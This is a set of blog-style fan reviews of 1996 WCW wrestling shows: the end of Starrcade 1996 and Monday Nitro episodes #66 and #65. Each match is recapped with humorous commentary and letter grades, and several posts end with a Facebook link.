Tag Titles: Outsiders vs. Faces of Fear

I remember when this was announced and I was 8 years old. Even then I thought it was some kind of a joke. Nash gets a big pop because he’s Nash and this is Nashville. It was on a sign. Even I’m not that corny. That NWO music really is sweet. I thought of that and then remembered the line so there must be something to the catchphrases. The champions come out first which is odd.

Faces of Fear are Meng and Barbarian and part of the Dungeon of Doom. Meng and Hall start us off as I continue to marvel at Barbarian’s ability to get work. The fans chant Razor to be funny and then Nash, the big man comes in. I say big even though Hall is taller than both of the Faces but whatever. Clubbering commences on Nash and this isn’t very interesting since there is NO chance the titles are changing here.

Racial stereotypes are enforced as a double noggin knocker does nothing. More or less dominance by the challengers so far but Nick Patrick is the referee so expect a screwy ending. Barbarian hits a Jackknife on Hall and takes about a week to cover him so Nash won’t have to run. Syxx steals the Megaphone from Hart and runs him off.

Barbarian knocks Hall out with a nerve hold and Patrick won’t do anything about it. Naturally more of the hold makes him Hulk Up to a face pop. Nash comes in to another face pop and kicks Barbarian in the face, proving that his foot is harder than Meng’s head. Jackknife ends Barbarian.

Rating: D+. No drama at all and the dynamic was all screwed up since WCW refused to accept that these guys were faces at this point. I mean really though, the Faces of Fear? They’re the best challengers you could find? That’s what killed this match: no drama. When I was 8 I knew this wasn’t happening and I know it even more now. Not horrible though.

DiBiase and Hogan say they’ll beat Piper. Seriously is this 1987? Hogan does a huge rant about Piper’s kids and drops in brand names like Campbell’s Soup and Coke. Holy product placement Batman! This is like two and a half minutes long.

US Title: Diamond Dallas Page vs. Eddie Guerrero

This is a tournament final for the title Flair had to vacate due to his shoulder injury. Page was on the brink of the push of a lifetime, but is still a heel here. That would change in less than a month as he would begin the monster face push that had it not been for Sting, could have made him the dark horse to take the title off Hogan at Starrcade the next year. That’s how hot he was in 1997. Eddie is still the nice guy and has about as much personality as Todd Grisham at this point.

Page has fans here and for once WCW got the idea. These two feuded earlier in the year over the Battlebowl Ring which went nowhere. Page had gotten help from Hall and Nash which he hadn’t asked for as they try to get him to join. Get what he was about to do to become the huge face? There’s no belt or anything as Giant still has it. The three commentators really are too much. Dusty can’t believe the fans are yelling for DDP.

This is a pretty basic match and the crowd is silent AGAIN. Nice pescado to put DDP down. Heenan has mic issues or something and is gone. We get more confusing commentary as Dusty raves about how the Diamond Cutter could be hit from anywhere but then says you have to soften the guy up for it. Yeah that makes sense. Heenan is back and this is a pretty decent back and forth match.

I like Heenan’s jokes about Mrs. Guerrero’s chili. That stuff must be awesome. Frog Splash misses and Eddie might have hurt his knee. Page uses something like a Jackhammer for two. It was more like a powerslam and in one motion though which made it fairly cool looking. Very good back and forth match so far here and the crowd simply does not care for the most part which is really depressing.

Page says Diamond Cutter time but Eddie gets knocked to the floor and Page is down in the ring. Cue Outsiders and a Razor’s Edge for DDP. Frog Splash ends it as he didn’t see anything since he was down on the floor. Eddie has the belt even though we were told it was stolen by Giant earlier. The NWO runs in again and beats him down, stealing the belt AGAIN, setting up Syxx vs. Eddie next month in a ladder match.

Rating: B. The match was good, but I would have liked it a lot more if DDP had lost clean. The NWO was the focal point of the company, but like Nexus there needs to be some stuff they’re not involved in that actually matters. This was more overkill by them as they were the only thing that mattered at all and it would start to wear on people. This was a rather good match though as both guys were working hard with some near falls that almost got people caring. Good match.

Ad for Souled Out which was very different to say the least. We’ll get to that later.

Lex Luger vs. The Giant

This is the next to last match and the second biggest on the card. Tony declares that 1996 will be the year that Luger arrives. You know, other than the rookie of the year or the world title reigns he had. This has been building up for a long time so this is a legit showdown and it really does wake the crowd up for the first time since the opener. A long lockup results in punching and shoving.

Luger punches him then gets shoved across the ring. Giant ENDS him with a running clothesline and it’s heel (the popular kind) dominance. Giant kicks him in the ribs and launches him through the ropes in a cool looking spot. He works on Luger’s back and it’s one sided for the most part. Can someone give Dusty something to play with so he’ll BE QUIET?

Luger makes a short comeback with a double axehandle but the slam of course doesn’t work. They tease the Rack but it goes nowhere. Giant goes for a running dropkick and misses, drawing no reaction at all. They say this match has been brutal. I wouldn’t got that far but it certainly hasn’t been very good. Luger finally puts him down with a neckbreaker but gets launched onto the referee who of course lays there to take it.

There’s the slam and Nick Patrick comes down. Luger gets him up but Patrick kicks him in the leg. Sting walks through the crowd and the Rack is on again. SYXX comes down to kick Luger now. Sting comes in and throws the bat down before talking to both Luger and Giant and leaving again. Low blow and about four bat shots end Giant to a HUGE pop. This is the first official loss for the NWO and it only took Luger, Sting and a ball bat to do it.

Rating: D. This was just bad. Luger didn’t do anything here other than the Rack which lasted all of a second. Giant didn’t do anything of note and even with the crowd being all poppish over this, the whole thing never went anywhere. This is supposed to start Giant’s face turn because Hogan and the Outsiders wouldn’t come out to help him but no one wound up caring since Hogan beat him at the next show.

Tony saying this is the turning point of Luger’s career really is funny.

Roddy Piper vs. Hulk Hogan

This is the Match of the Decade. No wait….make that of the CENTURY. What did they expect here anyway? Hogan hadn’t had a good match in years and Piper was crippled for the most part. Hogan has Liz, DiBiase and Vincent with him. The belt, which is about 13 years old, is billed as being 95 at this point. Ok for those of you that have heard the whole 1905 thing, there’s an explanation for that since it’s wrong.

The original championship (not the belt but the title itself if that makes sense) was made in like 1947 in Iowa. That was the NWA Title, as in National Wrestling Alliance. It became the only world title when the National Wrestling ASSOCIATION Title, which hardly anyone has heard of but was from 1905, was unified with it when Thesz beat someone that means nothing.

Eventually the NWA World Title belt was made (as in the one Kane currently holds. Well not really but that design) for Flair in the mid 1980s because he was supposed to be a larger than life character so he had a larger than life belt. That was still the NWA Title but eventually was used as the WCW Title due to a way too complicated sequence of events and lawsuits.

Eventually it became the WCW Title and had nothing to do with the NWA Title anymore as it is now the old style that you can see at shows before 86 in what became WCW. The title that Hogan holds here (the WCW World Title) has been in existence for about six years at this point and the belt itself (Big Gold Belt, as in the design Kane has although not that belt in particular since that is the World Heavyweight Championship and was invented in 2002 as the original Raw World Title) a little over ten, but hey, saying it’s 91 years old sounds better right? Welcome to the wonderful world of title lineages.

Anyway back to the match. Hogan heads to the floor as the bell rings. Vince and Liz leave and it’s just DiBiase. Hogan slaps Piper on a break in the corner as that is the only offense in about two minutes so far. The bald one runs to waste more time. Lots of punching and kicking here and Hogan stalls again. DO SOMETHING! Hey look it’s a headlock!

It’s pretty much all Hogan here, much like he would do the next year against Sting. Neither guy can do much more than a Tough Enough rookie could do here and it’s just bad. Hogan runs AGAIN for like the third time so far. Piper finds a belt somewhere and whips Hogan with it. He goes after DiBiase to let Hogan take over again. Baldie goes after the hip as this is just horribly boring.

DiBiase interferes again and both guys just fall down. This is just bad. Both guys are far too old and neither can do anything at all other than punch. Piper throws in a suplex to officially classify this as a wrestling match. We get it: Piper has heart and a FIRE inside. Legdrop misses and here comes the NWO. Giant picks Piper up for a Chokeslam and just holds him there for like 10 seconds. A fan comes in and everyone beats him down.

Piper gets out of the chokeslam I guess just because Giant forgot what he was doing. Sleeper goes on to NO reaction again and Hogan goes out clean. It takes forever but the fans finally get that Hogan just lost. The Outsiders run out before Piper can get his belt. Ah never mind: this was non-title. See, the interesting thing is that WCW NEVER mentioned that the title wasn’t on the line. Imagine if Cena vs. Batista at Mania had been non title. To say there would have been an uproar is an understatement.

Rating: F. This was AWFUL as both guys are old and can’t move so of course they get the equivalent of Wrestlemania. The non-title thing is bait and switch to the core and it ticked off a LOT of people. They had a rematch at Superbrawl where Savage turned NWO and kept the title on Hogan. This was just flat out bad and everyone knew it would be.

Hogan chases down Giant and he and the Outsiders yell at the big man. Giant says where were you when I needed you. We throw in a line about Hogan still being champion even though he lost.

Overall Rating: D-. For a regular show, this isn’t bad at all. For the biggest show of the year, this is a disaster. There are 8 matches on this card. The first three mean nothing. Truly, they meant nothing. Just over three weeks later the title was back on Malenko and the other two mean even less. I had already forgotten Jarrett vs. Benoit by the time I got to this point.

The tag title match was a token defense. The US Title was ok but it meant nothing since it led to the far more important DDP face turn. The final two matches are ok at best but again are just table setting for Souled Out. The wrestling is ok in a huge stretch and other than that this was horrible. Didn’t like it when I was a kid and can’t stand it now.

Remember to like me on Facebook at:

http://www.facebook.com/pages/kbwrestlingreviewscom/117930294974885?sk=wall

Monday Nitro #66
Date: December 16, 1996
Location: Pensacola Civic Center, Pensacola, Florida
Commentators: Eric Bischoff, Ted DiBiase

We’re in Florida this week and we’re just about to Starrcade with only one show after this before the big one. Also tonight is the last televised Sting match for over a year. That’s assuming he wrestles of course. We’ll also get more of the Piper vs. Hogan buildup which should be somewhat entertaining. Let’s get to it.

Here’s the NWO to start and they storm the announcers’ desk. Eric wants to do commentary and Larry says he’s not leaving. DiBiase and Virgil aren’t enough to make him leave. Tony leaves and Larry finally goes also.

We get a clip from the ending of last week’s show. Hogan is here tonight.

TV Title: Psicosis vs. Steven Regal

I don’t think this is a title match. Oh so it is. Eric says they’ll be taking over New Japan next. They fight over a wristlock to start and hit the mat where Regal takes over. Regal works on the arm and Bischoff implies that Regal will join the NWO soon. We take a break to NWO music and Bischoff promising something special. Back with Regal firing off European uppercuts in the corner.

Rolling cradle gets two. Psicosis speeds things up to send him to the floor. The fans are getting into this too. Psicosis hits a big dive to the floor and a top rope sunset flip for two. A top rope rana gets the same and the fans are really into this. The guillotine legdrop gets the same but I don’t think that was Psicosis’ finisher yet. Regal comes back with a suplex but his neck is hurting him.

Regal hooks the crossface part of the Regal Stretch and Psicosis taps but it doesn’t count yet. Now it’s a half nelson as Regal works on the neck. Butterfly suplex for two. Regal tries a top rope butterfly suplex but Psicosis knocks him down and hits a kind of frog splash for two. Psicosis superkicks him down (good one too) and tries a victory roll but Regal slams him onto his face and the Regal Stretch gets the submission.

Rating: B. I would ask where this came from, but as I say over and over on here: giving talented people time usually means you’re going to get a good match. Psicosis really had the fans into this and I think had them believing that the title was in danger. The idea of someone that was viewed as having only a tiny chance would be used again in February.

We recap the Sting vs. Rick Steiner stuff.

Big Bubba vs. Chavo Guerrero Jr.

Bubba knocks him into the corner to start but Chavo manages to speed things up to take over. He gets Bubba tied up in the ropes and dropkicks him to the floor. Bubba slams him out there though and Chavo is in trouble. Back inside a splash misses and Chavo hits some dropkicks. He fights out of a powerbomb position with right hands but jumps into a Bossman Slam for the pin.

Here are Sonny Onoo and Masa Chono. Sonny is his agent and is negotiating with New Japan for his contract. Sonny opens his jacket to reveal a New Japan show. Chono opens his jacket to reveal an NWO shirt. Chono yells at Sonny and Gene wants to know what he says. Sonny says something in Japanese. Gene: “IN ENGLISH YOU IDIOT!!!”

Chris Jericho vs. Masa Chono

Chono sends him to the floor and Jericho has no idea what to do with this guy. Chono knocks him down and yells at the referee. Sunset flip gets two for Jericho. Jericho tries to fight back but Chono is too much for him. Masa goes up but Jericho manages to get a superplex followed by a spinwheel kick for two. A top rope version of the kick misses but Jericho lands on Chono’s back. I think Chono was supposed to duck but didn’t get completely out of the way. Jericho gets knocked into the ropes and his foot gets tied into them. Chono chokes him until it’s a DQ.

Rating: C-. Not a bad match but Jericho wasn’t ready to hang in there with Chono yet. Also this was designed to be almost total domination for the new NWO guy which was par for the course at this point. I don’t remember when WCW’s first major win was but it would be awhile coming unless I’m overlooking something.

We recap last week’s Piper stuff as well as his segment with Flair.

Here are Flair and the Horsemen minus Benoit. Anderson says he’ll take out Sullivan tonight. Flair tells Benoit to get home. Debra doesn’t like Woman. Mongo says be ready Arn. Flair loses his voice and says Piper will kill Hogan.

Dave Sammartino vs. Dean Malenko

Did they lose a bet or something? The last national match I can find for Sammartino before this is at Wrestlemania I. That’s over 11 years ago! Did they owe Bruno a favor or something? They fight over the arm to start and Dean takes him to the mat like he’s fighting a no talent hack that is in the ring because his dad is famous. Small package gets two. A tiger suplex ends this. Not even enough to call it a squash. It was more like a workout with a punching bag for Dean.

Hour #2 begins and it’s Tony, Bobby and Tenay back on commentary.

We look at Chono joining the NWO again.

Ice Train vs. Jerry Flynn

Train destroys the martial arts guy to start but walks into a clothesline. Tony plugs the NWO PPV even though he doesn’t want to. Train takes him down again and this is a really boring match. He wins with an ankle lock of all things.

Rating: F. This is one of those times where you have to wonder what WCW was thinking. I mean…why does this match exist? Who thought this show needed Ice Train vs. Jerry Flynn? Ice Train would have four more matches on Nitro through May and then wouldn’t be on this show for over three years. Flynn would be about the same. I don’t get it.

Post match Syxx brings out the Outsiders. The Outsiders talk for a bit and the gist is Faces of Fear vs. Outsiders tonight.

Video on Sting abandoning WCW.

Rey Mysterio Jr. vs. Bobby Eaton

Eaton goes for the knee quickly and works on the arm. Mysterio vs. Liger is announced for Starrcade. Rey sends him to the floor and hits a dive to take over. They head back in and things slow down. Rey works on the arm which isn’t something I ever recall him doing. Eaton takes over again and the top rope knee drop gets two. Eaton goes up again but Rey crotches him and hits a top rope rana for the pin.

Rating: D+. This was a big surprise for me. With the talent you have in there, this was a big disappointment. I think the problem at the end of the day is that Eaton isn’t used to being the much bigger guy and that messed him up. The match isn’t terrible but they weren’t clicking at all.

Benoit and Woman are still in Germany and have another video, basically saying Benoit has taken Woman from Sullivan.

Arn Anderson vs. Kevin Sullivan

Sullivan blames Schiavone for showing the videos on the way to the ring. The brawl stats in the aisle and Sullivan throws a chair at his head. Anderson misses a swing with the chair and hits the post by mistake. They go into the ring for what must have been a good 4 seconds before heading into the crowd.

They go into the ring for the first time that you can actually keep track of and the referee gets a DDT. Sullivan double stomps him and ties Anderson into the Tree of Woe but Anderson manages to kick him low. Here’s Hugh Morrus who gets a DDT. Konnan gets a left hand and Sullivan manages to hit Anderson with a wooden chair for the pin.

Rating: N/A. I can’t really grade this as a match because it was a brawl instead of an actual match. It was entertaining which is really all you can ask for here. Benoit would get back soon enough, namely due to being in the US Title tournament. This was a fun brawl but there isn’t much of a reason to watch it from a storyline perspective as the heat was on Benoit.

Rick Steiner vs. Sting

Sting comes from the rafters and through the crowd. That doesn’t look like Sting at all. A second one comes out and that one looks more like him. The second one is the real one. The fake one has a ball bat. And so does the real one. The fake one throws his bat to Scott and the real one throws his to Rick. They turn around and offer a free shot to the Steiners, but the real Sting hits a Death Drop on the fake one, who we’re told is the NWO Sting. The real one walks out. No match.

Here’s the NWO in full force. Well at least the big names as Giant and Hogan are here with Vincent and DiBaise. Liz is there too. DiBiase demands a spotlight for Hulk. Hulk calls out Piper when we know Piper isn’t here. Hogan talks about starting here like Piper started in Charlotte last week. He says he was beating up Andre the Giant when he stated. Vincent is sent to the back to find Piper. Hulk says he could beat up Flair and Piper at the same time. Vincent comes back and tells Hogan that Piper ran out the back door. Hogan poses and dances to end this.

Faces of Fear vs. Outsiders

Brawl to start and Hall loads up the Edge on Meng. Barbarian breaks it up and Big Bubba comes in and joins the NWO, beating up Meng. Sullivan comes out and is knocked backwards. The Dungeon comes in but they’re outnumbered. The whole NWO comes out and some WCW guys join in as well. Scott Norton drops Ice Train on the floor and is NWO as well.

Sting comes in and the brawl stops. The fight stops and Anderson swings at Sting. Sting ducks and hits Anderson. Mongo gets in some shots so Sting hits him too. Rey jumps on him and is slammed down. Sting walks out to end the show. He only hit people that attacked him.

Overall Rating: B-. This is a hard one to grade. It’s a very entertaining show and I can’t take that away from it. However there’s something very important to note. With the three new additions to the NWO, counting non-wrestlers, there are now SIXTEEN members. The common problem people have with the NWO is that there were too many members. Within the last two weeks, they’ve added 4 new members, most of whom mean nothing. You could argue that Bubba is the biggest name as most American fans didn’t know who Chono was. You can see the problems that will plague the group starting here.

Remember to like me on Facebook at:

http://www.facebook.com/pages/kbwrestlingreviewscom/117930294974885?sk=wall

Monday Nitro #65
Date: December 9, 1996
Location: Independence Arena, Charlotte, North Carolina
Commentators: Tony Schiavone, Larry Zbyszko, Bobby Heenan, Mike Tenay

We continue to head towards Starrcade tonight and if my memory is right, Piper is in the building tonight. There’s another member joining the NWO tonight as well but it’s not like the rest of them to put it mildly. There are a lot of matches tonight too so they should be pretty quick each. Let’s get to it.

Here’s Piper to open things up. Piper says it’s nice to be home. He used to live at a Days Inn here before it was pretty. The last time everyone saw him, there were a bunch of NWO guys pounding on his leg. Piper hops around the ring on one leg. On December 29, he’s supposed to fight Hogan in Nashville. He has six kids so he has to win this one. Piper is bombed it seems. His seven year old told him that Hogan was younger than him and has two good legs so what chance does he have?

Piper talks about boxing Mr. T. at Wrestlemania 2 and being asked to take a dive. He said no, so they added extra padding to his gloves to make sure the punches didn’t hurt T as much. I’ll leave that one alone. There’s a guy in the audience with an NWO sign. Piper says nothing bad about the NWO because he’s a free agent. He talks about a promo they did of six guys in one room in leather drinking and not one woman. Our hero ladies and gentlemen. He knows Hogan is here so let’s just do it tonight.

Mike Enos vs. Michael Wallstreet

Michael grabs a quick fireman’s carry to start and it’s a feeling out period. About a minute in here’s DiBiase. Enos hits a powerslam but gets distracted by DiBiase. DiBiase has papers in his hands and Wallstreet hits a quick Samoan Drop for the pin.

DiBiase hands Wallstreet the papers and he seems pleased. DiBiase leaves before anything else happens.

We get a video of Woman and Benoit with Woman talking about how she’s obviously not in the Florida Keys and that Kevin can’t find him. She meant it in Baltimore when she said if Sullivan kicked Benoit one more time she was gone. It’s not the 1950s anymore so she’ll do what she wants. Benoit talks about how Sullivan fancies himself a chess player. Well Benoit’s bishop just took Sullivan’s queen. We cut to Sullivan who is speechless.

Hugh Morrus vs. Renegade

Renegade still has a job? They fight for control with power moves to start which gets no one an advantage. Morrus changes things up with a spinwheel kick to take Renegade down. Small package gets two for Renegade. Morrus’ bearhug is quickly countered into one by Renegade which is quickly broken up as well. Morrus says to hit him, so Renegade punches him down. Can’t say he doesn’t take orders well. Hugh suplexes him down and the moonsault ends this. Better match than you would expect actually.

Joe Gomez, Renegade’s partner, pulls him out of the way of another moonsault.

Sullivan comes out post match and wants to talk to Tony who played the video of Benoit and Woman. Kevin says it’s a ratings game but that video wasn’t sent to WCW. It was sent to Sullivan, so why didn’t they ask Sullivan if they could show it? Tony is a pawn in a game to get ratings. Sullivan says he has a personal life and stuff that he does outside of this ring. Next time there’s something to show, screw the ratings because Sullivan has people to take care of. I didn’t remember this angle all that well but it’s starting off well.

Video on Sting set to, and I kid you not, Holding Out For A Hero.

Here’s Kevin Greene of the Carolina Panthers who got a big win yesterday. I know this because Tony has reminded us of it every 47 seconds. He doesn’t like Mongo and he doesn’t like the NWO. Greene would love a chance to fight Hogan.

Cruiserweight Title: Jimmy Graffiti vs. Dean Malenko

So Graffiti loses to Dean and then to Rey, then he gets a title match. I’ll never understand how the title contenders selection process works. Chain wrestling to start and Graffiti taking over with a hammerlock. Dean gets up and clotheslines Jimmy to take over as we take a break. Graffiti is in control with brawling stuff when we return. Clothesline gets two. Graffiti misses a charge in the corner and they head to the floor.

They both try a suplex but both guys are down as a result. A superkick puts Dean down for two. A powerbomb puts Dean down as well but Graffiti wastes time. After a very delayed cover, Graffiti tries a front suplex but Dean rolls through into a small package for a quick pin to retain the title.

Rating: C. Not a bad match but Graffiti was nothing of note at all. This was just an appetizer until we got to the Dragon feud which was more interesting. The ending was a good one as Dean used his wrestling abilities to catch the lazy Graffiti off guard. Not a great match but a good ending.

Sonny Onoo has lost his accent but says Dragon will destroy Dean at Starrcade.

We get some clips of the triangle tag match from World War 3.

Nasty Boys vs. Faces of Fear

If you’re expecting anything other than a fight here, raise your hand so I can point at you and laugh. They go split screen almost immediately and the Outsiders are standing on the ramp. I have no idea who started but it’s Sags vs. Barbarian now. Sags goes to the floor to fight Meng and it breaks down again. The NWO has left. Ok so it’s back to Barbarian and Sags in the ring and there’s a tag to Knobbs. It breaks down again and Knobbs has Barbarian pinned but there’s no referee. Jimmy GOES UP TOP with the Megaphone but it hits Barbarian. Meng hits Knobbs with the Megaphone and it gets the pin.

Rating: C. Ok so with this, if you’re going just on the wrestling this is somewhere between a Divas match and two kids in the back yard. If you’re going on entertainment and keeping things moving, this was incredible. That being said, we’ll put it somewhere in the middle. It’s a total brawl that has no order to it at all, but like I said that’s all you should have expected.

Here’s Flair for an interview. He comes out to the Horsemen music but he’s on his own. Flair is still injured here but his arm isn’t in a sling anymore. He praises the Panthers again and bows down to Greene, who he says he doesn’t like. Flair asks Piper to come out here to a big Charlotte welcome.

Flair talks about Piper getting here on a Greyhound bus and now he’s got a home next to Phil Knight (Nike boss) in Oregon. Piper has taken it upon himself to challenge Hogan, whose name draws a bunch of boos. Flair talks about the losses to Hogan haunting him but now Piper is here to rectify it. Piper says this is his last shot and he appreciates the offer but he wants to do this on his own.

Hour #2 begins.

We have a recap of the opening segment and then the announcers talk about said segment.

Chris Jericho vs. Bobby Eaton

Eaton takes him down quickly and hits the top rope knee almost immediately. Jericho comes back with a powerslam and an inset interview, saying WCW will prevail. He isn’t done with Nick Patrick yet either. Suplex sets up the Lionsault for two. It wasn’t a finisher yet. Alabama Jam misses and Jericho hits the missile dropkick for the pin. Pretty much a squash.

We recap the Rick Steiner/Sting issues.

The Steiners are in the arena to talk about Sting. Scott says it’s crazy to hand Rick Steiner a bat but when Scott did that, he saw something in Sting’s eyes. He has no idea what it is though. Sting has done the same thing to Lex and them and those three are all WCW. Rick says they’re waiting for his next message.

We recap Lex vs. Giant, which isn’t really a feud. This is more like a video on Lex set to his theme music and not much Giant. It’s Lex vs. Giant at Starrcade.

Craig Pittman vs. Arn Anderson

Pittman and Long have parted ways apparently. An inset interview by Sullivan says he blames this on Arn. Next week they’re going to fight. Anderson stalls a lot and Tony says that there’s more video from Benoit and Woman for Sullivan. We take a break (why?) and come back with more stalling. Anderson drops to the floor and wraps the knee around the post but is slammed off the top. Tony says that doesn’t happen often. I’d hit him if I could right now. Code Red is countered by grabbing the ropes and they head to the outside. Briefcase to the ribs, DDT, NEXT.

Gene asks Okerlund where Woman and Benoit are. Anderson says Benoit is in Germany and 2 + 2 = 4. Anderson says love stinks and it’s his fault. Debra goes on a rant against Nancy and McMichael says focus. Anderson tells benoit to come home and says he has a bone to pick with Woman.

Lee Marshall is in Pensacola.

US Title Tournament Semi-Finals: Diamond Dallas Page vs. Jeff Jarrett

Man this would have been different three and a half years later. The winner of this gets the winner of Guerrero vs. Benoit at Starrcade. This continues the streak of “put DDP in the ring with guys that could have a watchable match with a grizzly bear so that he gets better.” Jarrett has a small advantage to start but Page kicks him in the ribs and poses. They fight over a top wristlock and we take a break.

Back with Page in control and slamming Jarrett down. Jarrett comes back with an enziguri and a swinging neckbreaker for no cover. The fans start booing something and a sunet flip and clothesline both get two for Jeff. A Blanchard slingshot suplex sets up a middle rope fist for two. There’s a sleeper and Page is in trouble.

The referee is looking at something else as Page hits a discus lariat for a big reaction. Page punches him down and suddenly is over like crazy. A top rope clothesline gets two. Page is sent to the floor and here are the Outsiders. Nash distracts so that the Razor’s Edge can kill Jarrett. Page didn’t see it and gets the pin.

Rating: B-. Remember what I’ve said before about talented guys getting time means a good match? This is a similar version but Page wasn’t quite good yet. Jarrett was reliable though and could easily get a good match out of Page at this point. The reactions for Page are getting much stronger very quickly and WCW capitalized on it too.

Page says he doesn’t need the NWO because the Diamond Cutter does whatever he needs. One more time: leave me alone. He wants to know where they were last year when he was voted Most Improved by PWI. It reminds him of a girl he picked up in a nightclub and the next thing he knows, she wants a full time thing. In short, stop calling!

Rick Steiner vs. Scott Norton

We have about five minutes left in this show so this isn’t lasting long if at all. And there’s no Steiner. It’s Roddy Piper instead and he’s MAD.

He gets a chair and gets in the ring. Piper says nothing is happening until Hogan gets out here because it’s time to fight. Here’s Bischoff instead but Piper says get out because he wants Hogan. Eric says the NWO has left and here comes the garbage. He says he tried to keep Piper out of WCW for his own safety. Eric says that Hogan will beat him up on the 29th and then he limps out of the ring to imitate Piper. Piper gets the chair and here’s the NWO. He has the chair and says bring it on but no one gets in. Kevin Greene gets in also and they stand tall to end the show.

Overall Rating: C+. Most of Starrcade is set at this point so the next few weeks are going to be a lot of buildup shows and that’s ok. This show was entertaining enough but we need Hogan and Piper in the same ring soon. It’s not a bad show and the wrestling is good, but it was still a few weeks/months before we get to the Sting vs. Hogan stuff and the real drama begins. This is just kind of keeping things warm until then.

Remember to like me on Facebook at:

http://www.facebook.com/pages/kbwrestlingreviewscom/117930294974885?sk=wall